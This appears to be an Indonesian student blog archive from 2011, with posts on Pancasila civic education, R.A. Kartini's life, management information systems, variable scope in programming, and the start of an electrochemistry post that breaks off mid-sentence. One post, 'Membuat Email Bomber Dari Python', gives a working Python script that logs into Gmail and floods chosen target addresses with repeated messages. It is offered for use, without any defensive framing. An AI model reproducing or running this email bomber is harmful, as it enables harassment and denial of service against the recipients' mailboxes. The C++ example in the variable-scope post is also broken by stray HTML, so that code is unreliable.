30 April 2011

Pendidikan Pancasila Untuk Perguruan Tinggi

Subpokok Bahasan

LANDASAN PENDIDIKAN PANCASILA:

-) LANDASAN HISTORIS
-) LANDASAN KULTURAL
-) LANDASAN YURIDIS
-) LANDASAN FILOSOFIS

TUJUAN PENDIDIKAN PANCASILA:

-) TUJUAN NASIONAL
-) TUJUAN PENDIDIKAN NASIONAL
-) TUJUAN PENDIDIKAN PANCASILA

LANDASAN PENDIDIKAN PANCASILA

1. Berdasarkan Undang-undang Republik Indonesia Nomor 20 Tahun 2003, tentang Sistem Pendidikan
Nasional, yang diejawantahkan dalam Peraturan Pemerintah No. 19  tahun 2005 tentang Standar Nasional Pendidikan yang menetapkan kurikulum tingkat Satuan Pendidikan Tinggi wajib memuat mata kulian pendidikan agama, pendidikan Kewarganegaraan dan Bahasa Indonesia serta Bahasa inggris.

2. Berdasarkan pertimbangan di atas, Direktorat Jendral Pendidikan Tinggi (DIKTI) memutuskan dengan SK No. 43/DIKTI/Kep/2006 tentang rambu-rambu Pelaksanaan Kelompok Mata Kuliah Pengembangan Kepribadian di Perguruan Tinggi.

LANDASAN HISTORIS

-) Nilai-nilai Pancasila digali dari bangsa Indonesia sendiri, seperti nilai-nilai ketuhanan (kepercayaan kepada Tuhan telah berkembang dan sikap toleransi sudah lahir), dan nilai kemanusiaan yang adil dan beradab dan sila-sila lainnya.
-) Nilai-nilai Pancasila menjadi dasar negara Indonesia oleh para tokoh bangsa saat akan melahirkan negara RI.
-) Nilai-nilai Pancasila tetap tercantum dalam pembukaan UUD 1945, biarpun perjalanan ketata- negaraan mengalami perubahan dan pergantian undang-undang: dari UUD 45, Konstitusi RIS, UUD Sementara, sampai kembali keUUD 45.
-)   Kebenaran Nilai-nilai Pancasila diyakini tinggi. Penafsiran Pancasila berbeda-beda:
     *)      Masa Orla:  
      Pancasila ditafsirkan dengan nasakom (nasionalis – agama – komunis) yang disebut trisila – kemudian diperas menjadi ekasila (gotong royong);

     *)      Masa Orba:
      Pancasila harus dihayati dan diamalkan dengan berpedoman kepada butir-butir yang ditetapkan           oleh MPR melalui Tap MPR no.II/MPR/1978 tentang P4;

     *)       Masa Reformasi:
       MPR melalui Tap MPR no.XVIII/MPR/1998 tentang Penegasan Pancasila sebagai Dasar Negara, yang mengandung makna ideologi nasional sebagai cita-cita dan tujuan negara.

LANDASAN KULTURAL

-) Pancasila sebagai kepribadian dan jati diri bangsa Indonesia merupakan pencerminan nilai-nilai yang tumbuh dalam kehidupan bangsa Indonesia.
-) Nilai-nilai yang dirumuskan dalam Pancasila merupakan hasil pemikiran konseptual dari tokoh bangsa Indonesia seperti: Soekarno, Drs. Mohammad. Hatta, Mr. Muhammad Yamin, Prof. Mr. Dr.Supomo, dan tokoh lainnya.
-) Nilai-nilai Pancasila itu digali dari budaya bangsa Indonesia.
-) Pancasila mengandung nilai-nilai yang terbuka untuk masuknya nilai-nilai baru yang positip,baik dari dalam maupun dari luar negeri.

LANDASAN YURIDIS

-) UU No. 2 Tahun 1989 tentang Sistem Pendidikan Nasional, ps 39 ayat 2 yang menyebutkan tentang isi kurikulum, jalur, dan jenjang pendidikan wajib yang memuat:
   a) Pendidikan Pancasila;
   b) Pendidikan Agama; dan
   c) Pendidikan Kewarganegaraan
-) UU No. 20 tahun 2003 tentang Sistem Pendidikan Nasional yang menetapkan kurikulum pendidikan tinggi wajib memuat Pendidikan agama, pendidikan kewarganegaraan dan bahasa.
-) Keputusan Menteri Pendidikan dan Kebudayaan no. 30 tahun 1990, menetapkan status pendidikan Pancasila dalam kurikulum pendidikan tinggi sebagai mata kuliah wajib untuk setiap program studi dan bersifat nasional.
-) PP no. 60 tahun 1999
-) Sejak 1983—1999 silabus pendidikan Pancasila banyak mengalami perubahan sesuai dengan perubahan yang berlaku dalam masyarakat.
-) Keputusan Dirjen Dikti No. 265/Dikti/Kep/2000 tentang penyempurnaan Kurikukum Inti Mata Kuliah Pengembangan Kepribadian Pendidikan Pancasila pada PT di Indonesia.
-) Kep Mendiknas no. 232/U/2000 tentang Pedoman Penyusunan Kurikulum Pendidikan Tinggi, dan Nomor 45/U2002 tentang Kurikulum Inti Pendidikan Tinggi telah menetapkan Pendidikan Agama, Pendidikan Pancasila, dan Pendidikan Kewarganegaraan menjadi kelompok mata kuliah pengembangan kepribadian yang wajib diberikan dalam kurikulum setiap program studi.
-) Pelaksanaannya sesuai dengan SK Dirjen Dikti no. 38/Dikti/Kep/2002 tentang Rambu-rambu Pelaksanaan Kelompok Matakuliah Pengembangan Kepribadian  (MPK) di Perguruan Tinggi.
-) Keputusan Dirjen Dikti Depdiknas RI No. 43/DIKTI/Kep/2006 tentang Rambu-rambu Pelaksanaan Kelompok Matakuliah Pengembangan Kepribadian di PT.

LANDASAN FILOSOFIS

-) Nilai-nilai yang tertuang dalam sila-sila Pancasila merupakan filosofi bangsa Indonesia sebelum mendirikan negara Republik Indonesia.
-) Nilai-nilai itu:
   a) bangsa Indonesia adalah bangsa yang berketuhanan,
   b) berkemanusiaan yang adil dan beradab,
   c) selalu berusaha mempertahankan persatuan dan mewujudkan keadilan

-) Pancasila sebagai dasar filsafat negara menjadi sumber bagi segala tindakan para penyelenggara negara, menjadi jiwa dari perundang-undangan.
-) Pancasila sebagai sumber nilai dalam pelaksanaan kenegaraan yang menjiwai pembangunan nasional dalam bidang politik, ekonomi, sosial-budaya, pertahanan keamanan.

TUJUAN PENDIDIKAN PANCASILA

TUJUAN NASIONAL:

-) Dalam Pembukaan UUD 1945 alinea keempat, menyatakan:
…”melindungi segenap bangsa Indonesia dan seluruh tum-pah darah Indonesia, … memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa dam ikut melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdama-ian abadi dan keadilan sosial …”

-) Tujuan di atas diwujudkan melalui penyelenggaraan negara yang bekerdaulatan rakyat dan demokratris dengan mengutamakan persatuan dan kesatuan bangsa, berdasarkan Pancasila dan UUD 1945.
Penyelenggaraan negara dilaksanakan melalui pembangunan nasional  oleh penyelenggara negara, yaitu lembaga tertinggi dan lembaga tinggi negara bersama rakyat.

-) Dalam Tap. MPR no. IV/MPR/1999 tentang Garis-Garis Besar Haluan Negara tahun 1999-2004, dinyatakan:
Pembangunan nasional merupakan usaha peningkatan kualitas manusia dan masyarakat Indonesia yang dilakukan secara berkelanjutan, berlandaskan kemampuan nasional dengan memanfaatkan kemajuan iptek, serta memperhatikan tantangan perkembangan global.

-) Pelaksanaannya mengacu pada kepribadian bangsa dan nilai-nilai luhur yang universal untuk mewujudkan kehidupan bangsa yang berdaulat, mandiri, berkeadilan, sejahtera, maju, dan kukuh kekuatan moral dan etikanya.

TUJUAN PENDIDIKAN NASIONAL

-) UU No. 2  Th 1989 tentang Sistem Pendidikan Nasional, pasal 4, dinyatakan tujuan pendidikan nasional, yaitu:
“Pendidikan Nasional bertujuan mencerdaskan kehidupan bangsa dan mengembangkan manusia Indonesia seutuhnya, yaitu manusia yang beriman dan bertakwa terhadap Tuhan Yang Maha Esa dan berbudi pekerti luhur, memiliki pengetahuan dan ketrampilan, kesehatan jasmani, dan rohani, kepribadian mantap dan mandiri, serta tanggung jawab kemasyarakatan dan kebangsaan.”

-) Hal di atas sesuai dengan UUD 1945 pasal 31 ayat 3:
“Pemerintah mengusahakan dan menyelenggarakan satu sistem pendidikan nasional, yang meningkatkan keimanan dan ketakwaan serta akhlak mulia dalam rangka mencerdaskan kehidupan bangsa, yang diatur dengan undang-undang.”

-) Dalam rangka pelaksanaan pembangunan nasional dan pengamalan Pancasila di bidang pendidikan, maka pendidikan nasional mengusahakan:
1.Pembentukan manusia Pancasila sebagai manusia pembangunan yang tinggi kualitasnya dan mampu mandiri
2.Pemberian dukungan bagi perkembangan masyarakat, bangsa, dan negara Indonesia yang terwujud dalam ketahanan nasional yang tangguh (mampu menangkal setiap ajaran,paham, dan ideologi yang bertentangan dengan Pancasila)

TUJUAN PENDIDIKAN PANCASILA DAN KEWARGANEGARAAN

Pendidikan Pancasila mengarahkan perhatian pada moral yang diharapkan diwujudkan dalam kehidupan sehari-hari, yaitu:
1. Perilaku yang memancarkan iman dan takwa terhadap Tuhan Yang Maha Esa;
2. Perilaku yang bersifat kemanusiaan yang adil beradab;
3. Perilaku kebudayaan, dan
4. Beraneka kepentingan perilaku yang mendukung kerakyatan yang mengutamakan kepentingan bersama di atas kepentingan perorangan dan golongan.

BUKU REFERENSI:
1.Syarbaini, Syahrial. (2003). Pendidikan Pancasila di Perguruan Tinggi. Jakarta: Ghalia.
2._______________ Dkk.  (2006). Membangnun Karakter dan Kepribadian Melalui Pendidikan

3.Mewarganegaraan. Yogyakarta: Graha Ilmu.
4.Undang-Undang No. 2 Tahun 1989 tentang Sistem Pendidikan Nasional.
5.Undang-Undang No. 20 Tahun 2003 tentang Sistem Pendidikan Nasional.
6.Kansil C.S. T. Pendidikan kewarganegaraan di Perguruan Tinggi. Jakarta: Pradnya Paramita,2003. Hlm. 1—17
7.Srijanti, A. Rahman H.I., Purwanto S.K. (2006). Etika Berwarga Negara. Jakarta: Salemba Empat
8.Sumarsono, S [et al]. Pendidikan kewarganegaraan. Jakarta: Gramedia Pustaka Utama, 2000. Hlm. 1—7
9.Winaarno (2007). Paradigma Baru Pendidikan Kewarganegaraan: Panduan Kuliah di Perguruan Tinggi. Jakarta: Bumi Aksara.
10.Kaelan, H dan H. Achmad Zubaidi. (2007). Pendidikan Kewarganegaraan untuk Perguruan Tinggi.  Yogyakarta: Paradigma.

29 April 2011

Raden Adjeng Kartini

Raden Adjeng Kartini adalah seseorang dari kalangan priyayi atau kelas bangsawan Jawa, putri Raden Mas Adipati Ario Sosroningrat, bupati Jepara. Ia adalah putri dari istri pertama, tetapi bukan istri utama. Ibunya bernama M.A. Ngasirah, putri dari Nyai Haji Siti Aminah dan Kyai Haji Madirono, seorang guru agama di Telukawur, Jepara. Dari sisi ayahnya, silsilah Kartini dapat dilacak hingga Hamengkubuwana VI.
Ayah Kartini pada mulanya adalah seorang wedana di Mayong. Peraturan kolonial waktu itu mengharuskan seorang bupati beristerikan seorang bangsawan. Karena M.A. Ngasirah bukanlah bangsawan tinggi, maka ayahnya menikah lagi dengan Raden Adjeng Woerjan (Moerjam), keturunan langsung Raja Madura. Setelah perkawinan itu, maka ayah Kartini diangkat menjadi bupati di Jepara menggantikan kedudukan ayah kandung R.A. Woerjan, R.A.A. Tjitrowikromo.
Kartini adalah anak ke-5 dari 11 bersaudara kandung dan tiri. Dari kesemua saudara sekandung, Kartini adalah anak perempuan tertua. Kakeknya,
Pangeran Ario Tjondronegoro IV, diangkat bupati dalam usia 25 tahun. Kakak Kartini, Sosrokartono, adalah seorang yang pintar dalam bidang bahasa. Sampai usia 12 tahun, Kartini diperbolehkan bersekolah di ELS (Europese Lagere School). Di sini antara lain Kartini belajar bahasa Belanda. Tetapi setelah usia 12 tahun, ia harus tinggal di rumah karena sudah bisa dipingit.
Karena Kartini bisa berbahasa Belanda, maka di rumah ia mulai belajar sendiri dan menulis surat kepada teman-teman korespondensi yang berasal dari Belanda. Salah satunya adalah Rosa Abendanon yang banyak mendukungnya. Dari buku-buku, koran, dan majalah Eropa, Kartini tertarik pada kemajuan berpikir perempuan Eropa. Timbul keinginannya untuk memajukan perempuan pribumi, karena ia melihat bahwa perempuan pribumi berada pada status sosial yang rendah.
Kartini bersama suaminya, R.M.A.A. Singgih Djojo Adhiningrat (1903)
Kartini banyak membaca surat kabar Semarang De Locomotief yang diasuh Pieter Brooshooft, ia juga menerima leestrommel (paket majalah yang diedarkan toko buku kepada langganan). Di antaranya terdapat majalah kebudayaan dan ilmu pengetahuan yang cukup berat, juga ada majalah wanita Belanda De Hollandsche Lelie. Kartini pun kemudian beberapa kali mengirimkan tulisannya dan dimuat di De Hollandsche Lelie. Dari surat-suratnya tampak Kartini membaca apa saja dengan penuh perhatian, sambil membuat catatan-catatan. Kadang-kadang Kartini menyebut salah satu karangan atau mengutip beberapa kalimat. Perhatiannya tidak hanya semata-mata soal emansipasi wanita, tapi juga masalah sosial umum. Kartini melihat perjuangan wanita agar memperoleh kebebasan, otonomi dan persamaan hukum sebagai bagian dari gerakan yang lebih luas. Di antara buku yang dibaca Kartini sebelum berumur 20, terdapat judul Max Havelaar dan Surat-Surat Cinta karya Multatuli, yang pada November 1901 sudah dibacanya dua kali. Lalu De Stille Kraacht (Kekuatan Gaib) karya Louis Coperus. Kemudian karya Van Eeden yang bermutu tinggi, karya Augusta de Witt yang sedang-sedang saja, roman-feminis karya Nyonya Goekoop de-Jong Van Beek dan sebuah roman anti-perang karangan Berta Von Suttner, Die Waffen Nieder (Letakkan Senjata). Semuanya berbahasa Belanda.
Oleh orangtuanya, Kartini disuruh menikah dengan bupati Rembang, K.R.M. Adipati Ario Singgih Djojo Adhiningrat, yang sudah pernah memiliki tiga istri. Kartini menikah pada tanggal 12 November 1903. Suaminya mengerti keinginan Kartini dan Kartini diberi kebebasan dan didukung mendirikan sekolah wanita di sebelah timur pintu gerbang kompleks kantor kabupaten Rembang, atau di sebuah bangunan yang kini digunakan sebagai Gedung Pramuka.
Sekolah Kartini (Kartinischool), 1918.
Anak pertama dan sekaligus terakhirnya, R.M. Soesalit, lahir pada tanggal 13 September 1904. Beberapa hari kemudian, 17 September 1904, Kartini meninggal pada usia 25 tahun. Kartini dimakamkan di Desa Bulu, Kecamatan Bulu, Rembang.
Berkat kegigihannya Kartini, kemudian didirikan Sekolah Wanita oleh Yayasan Kartini di Semarang pada 1912, dan kemudian di Surabaya, Yogyakarta, Malang, Madiun, Cirebon dan daerah lainnya. Nama sekolah tersebut adalah "Sekolah Kartini". Yayasan Kartini ini didirikan oleh keluarga Van Deventer, seorang tokoh Politik Etis.

Buku2 karya R.A Kartini
  1.Habis Gelap Terbitlah Terang
  2.Surat-surat Kartini, Renungan Tentang dan Untuk Bangsanya
  3.Letters from Kartini, An Indonesian Feminist 1900-1904
  4.Panggil Aku Kartini SajaKartini Surat-surat kepada Ny RM Abendanon-Mandri dan suaminya
   5.Aku Mau ... Feminisme dan Nasionalisme. Surat-surat Kartini kepada Stella Zeehandelaar 1899-1903

16 April 2011

SIM

Definisi SIM

Sistem Informasi Manajemen (SIM) sebuah sistem manusia / mesin yang terpadu (integrated) untuk menyajikan
informasi guna mendukung fungsi operasi, manajemen dan pengambilan keputusan dalam organisasi

Komponen Pembangun SIM
􀂄 Hardware
􀂄 Software
􀂄 Prosedur
􀂄 Model Manajemen & Pengambilan Keputusan
􀂄 Database


Hardware
Perangkat keras bagi suatu sistem informasi atas komputer.


Software
     Software Sistem
􀂅 Sistem operasi
􀂅 Penerjemah bahasa
􀂅 Program utility


      Software Aplikasi
􀂅 Software aplikasi pemrograman sendiri
􀂅 Software aplikasi paket jadi

     Prosedur / Pedoman
Prosedur merupakan komponen fisik krn prosedur disediakan dalam bentuk fisik seperti : buku panduan dan instruksi.
3 jenis prosedur yg dibutuhkan :
􀂄 instruksi untuk pemakai
􀂄 instruksi untuk penyiapan masukan
􀂄 instruksi pengoperasian untuk karyawan pusat komputer


Manajemen Informasi sebagai Sumber Daya yg dibutuhkan Perusahaan
􀂄 Kegiatan bisnis yg semakin kompleks
􀂅 Pengaruh ekonomi internasional
􀂅 Persaingan dunia
􀂅 Kompleksitas teknologi yg semakin meningkat
􀂅 Batas waktu yg singkat
􀂅 Kendala-kendala sosial
􀂄 Meningkatnya kemampuan kamputer sebagai alat bantu dalam perusahaan.


Subsistem dari SIM
1. Fungsi Organisasi
􀂄 Fungsi keuangan
􀂄 Fungsi SDM
􀂄 Fungsi Jasa Informasi
􀂄 Manufaktur
􀂄 Pemasaran


2. Aktifitas manajemen
􀂄 Perencanaan strategis perumusan sasaran & rencana strategis
􀂄 Pengendalian manajemen perumusan anggaran & alokasi sember daya
􀂄 Pengendalian operasional penjadualan aktifitas & laporan prestasi
􀂄 Pengolahan transaksi pengolahan pesanan, pengiriman, penerimaan


Evolusi Sistem Informasi Barbasis
Komputer
1. EDP / SIA
Electronic Data Processing / Sistem Informasi Akuntansi, melaksanakan aplikasi akuntansi, aplikasi ini ditandai dgn pengolahan data yg tinggi
􀂄 Mengumpulkan data yg menjelaskan tentang perusahaan
􀂄 Mengubah data tsb menjadi informasi
􀂄 Menyediakan informasi bagi pemakai di dalam maupun di luar perusahaan


2. SIM (Sistem Informasi manajemen)
Integrasi manusia dan mesin guna menyediakan informasi untuk mendukung fungsi operasional, manajemen & pengambilan keputusan dalam organisasi

3. SPK (Sistem Penunjang Keputusan)
sistem komputer yg interaktif yg membantu pembuatan keputusan dalam menggunakan & memanfaatkan data
& model untuk memecahkan masalah yg tidak terstruktur


4. OA (Office Automation)
Semua sistem elektronik formal & informal terutama yg berkaitan dengan komunikasi informal ke dan dari
orang-orang di dalam maupun luar perusahaan

5. Sistem Pakar
Merupakan program komputer yg berfungsi seperti manusia yaitu memberi konsultansi kepada pemakai
mengenai cara pemecahan masalah

Membuat Email Bomber Dari Python

LISTING PROGRAM

import smtplib
import time

sent=0
chooise=raw_input("Would you like to more send? y/n: ")

if chooise=="y":
           username=raw_input("your gmail username: ")
           password=raw_input("your gmail password: ")
           print ("Connecting to server please wait...")
           smtpserver=smtplib.SMTP("smtp.gmail.com",587)
           smtpserver.ehlo()
           smtpserver.starttls()
           smtpserver.ehlo
           smtpserver.login(username,password)
           print("Connection succesfull")
           print('press enter to stop')
           elist=[]
           while True:
             targetxxx=raw_input('Target email: ')
             if len(targetxxx)==0:break
             elist.append(targetxxx)
             more_sent=input('how many emails to send: ')
             message=raw_input('youre messeage to target:')
           while sent <=more_sent:
             for targetxxx in elist:
                 smtpserver.sendmail(username,targetxxx,message)
                 print ("Sending emails")
                 sent+=1
                 print ("succesfull send")

elif chooise=="n":

         username=raw_input("your gmail username: ")
         password=raw_input("your password: ")
         smtpserver=smtplib.SMTP("smtp.gmail.com",587)
         smtpserver.ehlo()
         smtpserver.starttls()
         smtpserver.ehlo
         smtpserver.login(username,password)
         print("Connect to server succesfull")
         targetxxx=raw_input("enter target E-mail: ")
         message=raw_input("Please enter a message: ")
         more_Sent=input("How many messages to send?: ")
         for i in xrange(more_Sent + 1):
             smtpserver.sendmail(username,targetxxx,message)
         print "Sent to %s %d emails." % (targetxxx,more_Sent)
         send= more_Sent + 1
         print "was sent succesfull"
         time.sleep(1)
else:
         print "Please choose y or n"

Variabel Scope

VARIABEL SCOPE

Varibel merupakan komponen penting pada pemrograman, Variabel digunakan dalam program untuk menyimpan suatu nilai, dan nilai yang ada padanya dapat dirubah selama eksekusi program berlangsung.
Jika suatu variable diisi dengan nilai di luar jangkauannya maka nilai yang akan disimpan akan diubah sesuai dengan jangkauannya. Misalnya, bila suatu variable bertipe integer diberi nilai 75000, yang tersimpan pada variable tersebut berupa 9494. Sebab nilai positif terbesar pada tipe integer yaitu 32767. Hal ini bekerja sebagaimana speedometer pada kendaraan bermotor. Pada spedometer, apabila nilai maksimumnya terlampaui  akan dimulai dari nilai terendahnya, yakni nol.
Perlu diketahui, pemrograman aritmatika yang menggunakan tipe seperti integer akan lebih cepat dibandingkan kalau menggunakan tipe long integer itulah sebabnya sedapat mungkin untuk menggunakan variable dengan memori berukuran kecil.
Pendefinisian variabel tergantung pada bahasa pemrograman yang dipakai ada yang pendefinisian variabel dapat diletakan dimana saja (contohnya : Basic,  C++, Dbase, dll ) dan ada pula bahasa pemrograman yang sudah ditentukan pendefinisian variabelnya (contohnya : Pascal, Cobol, dll).
Cakupan (scope) dari sebuah variabel maksudnya adalah sampai mana variabel tersebut memiliki nilai ketika dieksekusi ke dalam sebuah proses. Dengan kata lain, cakupan variabel ini sangat bergantung pada tempat dimana ia dideklarasikan.

VARIABEL GLOBAL DAN VARIABLE LOKAL
            Jenis variabel berdasarkan kelas penyimpanannya, yang berkaitan dengan lingkup variabel, Sebuah variabel di dalam sebuah fungsi memiliki jangkauan tertentu.
Skop variabel terdiri dari:
1. Variabel lokal
2. Variabel global
Variable global adalah variable yang di inisial di bagian atas program yang bisa di pakai oleh semua fungsi, prosedur, dan program utama.
Kelemahan dari variable global, antara lain :
Ø      Pemborosan memory jika semua variable di definisikan ke dalam variable main program, Karena konsep lokal variable.
Ø      Jika sebuah fungsi yang memiliki local variable telah dijalankan memory yang terpakai oleh local variable fungsi tersebut dapat terpakai oleh variable lain/fungsi lain.
Ø      Ngetracenya akan sulit karena semua variable dianggap global.

Penjelasan lain mngenai variable global.
Variable adalah suatu tempat untuk menampung suatu nilai pada memory computer. Untuk lebih mudah di akses, variable di beri nama. Nama inilah yang akan menjadi pengenal suatu variable, misalnya a=4, ini berarti bahwa nama variablenya adalah a dan nilainya adalah 4.
Variable global dalam form adalah variable yang aktif selama 1 form berjalan, bila pindah ke form yang lain maka variable ini tidak aktif. Ini dapat dilakukan dengan mendefinisikan variable diluar subroutine, bisanya diletakan pada baris paling atas dari suatu form.Contoh :
dim a as integer diletakan pada baris paling atas maka variable a selalu aktif selama form aktif. Variable global dalam aplikasi adalah variable yang aktif selama aplikasi masih aktif. Variable ini masaih aktif meskipun form yang berjalan sudah berganti. Untuk mendefinisikan variable ini dilakukan dengan menambahkan modul dan pendefinisian dengan global.

Variable = nilai

Sebagai contoh untuk memasukan nilai 5 ke dalam variable a dapat di lakukan dengan a=5. atau memasukan nama ‘widya’ ke dalam variable nama dapat dituliskan nama=”widya” (pada tipe data string, penulisan diberi tanda petik dua).

Variabel local, Variabel yang hanya dikenal di daerah  yang lokal saja, misalnya di dalam sebuah  fungsi/prosedur tertentu saja dan tidak dikenal di daerah lainnya. Harus dideklarasikan di dalam blok yang  bersangkutan Variabel lokal dibentuk ketika fungsi dipanggil dan akan dihapus dari memori bila eksekusi terhadap fungsi selesai.Tidak ada inisialisasi otomatis

Pada program C++ di atas hasilnya adalah 5, mengapa tidak bernilai 100? Hal ini karena variable c di definisikan pada blok sendiri sehingga di anggap  beda dengan variable c yang berisi nilai 5.
Variabel Global=
-)  Variabel yang dikenal diseluruh daerah di dalam program, di dalam dan luar fungsi.
-) Dideklarasikan di luar suatu blok statemen atau di fungsi-fungsi yang menggunakannya.
-) Variabel global dapat dideklarasikan kembali di dalam fungsi. (redeclare)

Kerugian penggunaan Variable global:
-) Memboroskan memori computer karena computer masih lagi. menyimpan nilainya walaupun sudah tidak diperlukanan lagi.
-) Mudah terjadi kesalahan program karena satu perubah dapat menyebabkan perubahan menyeluruh pada program .
-) Pembuatan fungsi lebih sulit, karena harus diketahui variable global apa saja yang digunakan. --) Pendeteksian kesalahan program lebih sulit dilakukan.


CONTOH :
#include (iostream.h)
#include (conio.h)
int a; // ini yang dinamakan variabel global
void main()
{
a = 10;
cout << "Nilai a = " << style="font-weight: bold;">Variabel Lokal :
#include (iostream.h)
#include (conio.h)
voin main()
{
int a; // ini yang disebut dengan variabel local
a = 10;
cout << "Nilai a = " <<>

Pertanyaan Beserta jawaban:
  1. Apa yang di maksud dengan variable statis, jelaskan sifat-sifatnya! 
  2. Kenapa variable memory di pisahkan atas kemampuan harga bukannya materialnya sama saja? 
  3. Apa yang dimaksud Dengan Heap? 
  4. Apa yang dimaksud dengan Register processor? 
  5. Berikan Contoh Variabel otomatis dan variable eksternal! 
  6. Contoh tiap-tiap variable yang dibicarakan pada bahasa pemrograman java!
  7. Jelaskan Perbedaan RAM dan ROM serta kekurangan dan kelebihannya. Berikan contoh pendeklarasian pada basic! 
  8. Mengapa variable eksternal tidak perlu dipergunakan? Berikan contoh programnya! 
  9. Apakah fungsi dari semua Memori sama? Bisakah suatu system berjalan tanpa adanya memory? 
  10. Apa yang dimaksud dengan Hirarki memory? 
  11. Seberapa jauh pengaruh variable yang menggunakan tipe data terhadap memory? 

Jawaban:
  1. variabel yang dapat diakses oleh semua file yang didifinisikan pada file yang sama dengan variabel eksternal tersebut.
Sifat variabel statis :
Ø  Variabel tetap hanya dapat diakses pada fungsi yang mendifinisikannya
Ø  Variabel tidak hilang saat dieksekusi fungsi berakhir nilainya akan tetap dipertahankan, sehingga akan dikenali pada pemanggilan fungsi untuk tahap berikutnya.
Inisialisasi oleh pemrograman akan dilakukan sekali saja selama program dijalankan, jika tidak ada inisialisasi secara eksplisit, variabel diisi dengan nol.
  1. Mungkin yang dimaksud dari pertanyaan tersebut adalah memory bukan variable memory, materialnya hampir sama yaitu terdapat IC, chips, dll.
  2. Heap adalah area memori yang digunakan untuk alokasi secara dinamis. Bagian-bagian memori yang dialokasikan dilakukan secara sembarang (no pattern). Maksudnya adalah kode-kode yang akan dieksekusi akan diletakkan pada lokasi penyimpanan dalam memori, namun lokasi ini tidak memiliki pattern atau tidak berpola (acak).
  3. Register processor merupakan alat penyimpanan kecil yang mempunyai kecepatan akses cukup tinggi, yang digunakan untuk menyimpan data dan/atau instruksi yang sedang diproses. Memori ini bersifat sementara, biasanya di gunakan untuk menyimpan data saat di olah ataupun data untuk pengolahan selanjutnya.
  4. A) Contoh Variabel Otomatis
#include <stdio.h>
void fung_1(void);
main()
{
int i = 20;
fung_1();
printf(”nilai i di dalam main() = %d\n”, i);
}
void fung_1(void)
{
int i = 11;
printf(”nilai i di dalam fung_1() = %d\n”, i);
}

B) Contoh#1 Variabel Eksternal
#include <stdio.h>
int i = 273; /* variabel eksternal */
void tambah(void);
main()
{
printf(”Nilai awal i = %d\n”, i);
i += 7;
printf(”Nilai i kini = %d\n”, i);
tambah();
printf(”Nilai i kini = %d\n”, i);
tambah();
printf(”Nilai i kini = %d\n”, i);
}
void tambah(void)
{
i++;
}
  1. Pada java kita menggunakan semua jenis variable, yaitu variable global dan variable local. Salah satu contohnya:
int [] jum = new int [10];
int [] v1 = new int [10];
int [] v2 = new int [10];

contoh diatas merupakan contoh pendeklarasian variable pada java.
  1. -) Secara umum fungsinya sama yaitu berfungsi menyimpan sistim aplikasi, sistem pengendalian, dan data yang sedang beroperasi atau diolah. Semakin besar kapasitas memori akan meningkatkan kemapuan komputer tersebut. Memori diukur dengan KB atau MB.

-) RAM: Random Access Memory (RAM), merupakan bagian memory yang bisa digunakan oleh para pemakai untuk menyimpan program dan data. Kebanyakan dari RAM disebut sebagai barang yang volatile. Artinya adalah jika daya listrik dicabut dari komputer dan komputer tersebu mati, maka semua konten yang ada di dalam RAM akan segera hilang secara permanen. Karena RAM bersifat temporer dan volatile, maka orang menciptakan suatu media penyimpanan lain yang sifatnya permanen.

-) ROM: Read Only Memory (ROM), berfungsi untuk menyimpan pelbagai program yang berasal dari pabrik komputer. Sesuai dengan namanya, ROM (Read Only Memory), maka program yang tersimpan didalam ROM, hanya bisa dibaca oleh parapemakai.

-) Contoh pendeklarasian pada bahasa pemrograman basic:

Dim a As Single
Dim b As Double
a = 4/3
b= 5/9
  1. -) Karena variabel ini mudah sekali berubah oleh pernyataan penugasaan yang letaknya bisa dimana saja. Ini bisa menimbulkan efek samping yang sulit untuk melacaknya, terutama untuk program yang besar.
Variabel eksternal mempunyai durasi selama program diekskusi. Dengan kata lain, memori yang digunakan untuk variabel ini tetap dipertahankanselama program belum berakhir.
-) Contoh pendeklarasian variabel pada bahasa pemrograman java atau C++,
int [] jum = new int [10];
int [] v1 = new int [10];
int [] v2 = new int [10];

  1. -) Secara umum fungsinya sama yaitu berfungsi menyimpan sistim aplikasi, sistem pengendalian, dan data yang sedang beroperasi atau diolah. Semakin besar kapasitas memori akan meningkatkan kemapuan komputer tersebut. Memori diukur dengan KB atau MB.
-) Tidak mungkin suatu sustem berjalan tanpa adanya memory, Karen suatu system tidak akan bisa menjalankan aplikasi-aplikasinya tanpa adanya memory sebagai penunjang.
  1. Merupakan sebuah pedoman yang dilakukan oleh para perancang demi menyetarakan kapasitas, waktu akses, dan harga memori untuk tiap bitnya.
  2. Variabel digunakan dalam program untuk menyimpan suatu nilai, dan nilai yang ada padanya dapat dirubah selama eksekusi program berlangsung. Sehingga Jika suatu variable diisi dengan nilai di luar jangkauannya maka nilai yang akan disimpan akan diubah sesuai dengan jangkauannya. Misalnya, bila suatu variable bertipe integer diberi nilai 75000, yang tersimpan pada variable tersebut berupa 9494. Sebab nilai positif terbesar pada tipe integer yaitu 32767. Hal ini bekerja sebagaimana speedometer pada kendaraan bermotor. Pada spedometer, apabila nilai maksimumnya terlampaui  akan dimulai dari nilai terendahnya, yakni nol. Perlu diketahui, pemrograman aritmatika yang menggunakan tipe seperti integer akan lebih cepat dibandingkan kalau menggunakan tipe long integer itulah sebabnya sedapat mungkin untuk menggunakan variable dengan memori berukuran kecil.

Elektrokimia

Elektrokimia adalah ilmu yang mempelajari aspek elektronik dari reaksi kimia. Elemen yang digunakan dalam reaksi elektrokimia dikarakterisasikan dengan banyaknya elektron yang dimiliki. Elektrokimia secara umum terbagi dalam dua kelompok, yaitu sel galvanik dan sel elektrolisa.
metode elektrokimia selalu didayagunakan atau berkonotasi dengan kata pemurnian logam dan proses penyepuhan/elektroplating (melindungi logam dari korosi).metode elektrokimia adalah untuk pemurnian logam dan elektroplating. Selain itu di laboratorium pun, memang kita paling sering melakukan percobaan elektrokimia terutama percobaan sel elektrolisis, sehingga memang klop rasanya jika kita menyandarkan kata elektrokimia dengan elektroplating dan pemurnian logam.
Metode elektrokimia adalah metode yang didasarkan pada reaksi redoks, yakni gabungan dari reaksi reduksi dan oksidasi, yang berlangsung pada elektroda yang sama/berbeda dalam suatu sistim elektrokimia. Sistem elektrokimia meliputi sel elektrokimia dan reaksi elektrokimia.
Sel elektrokimia ada 2 macam:
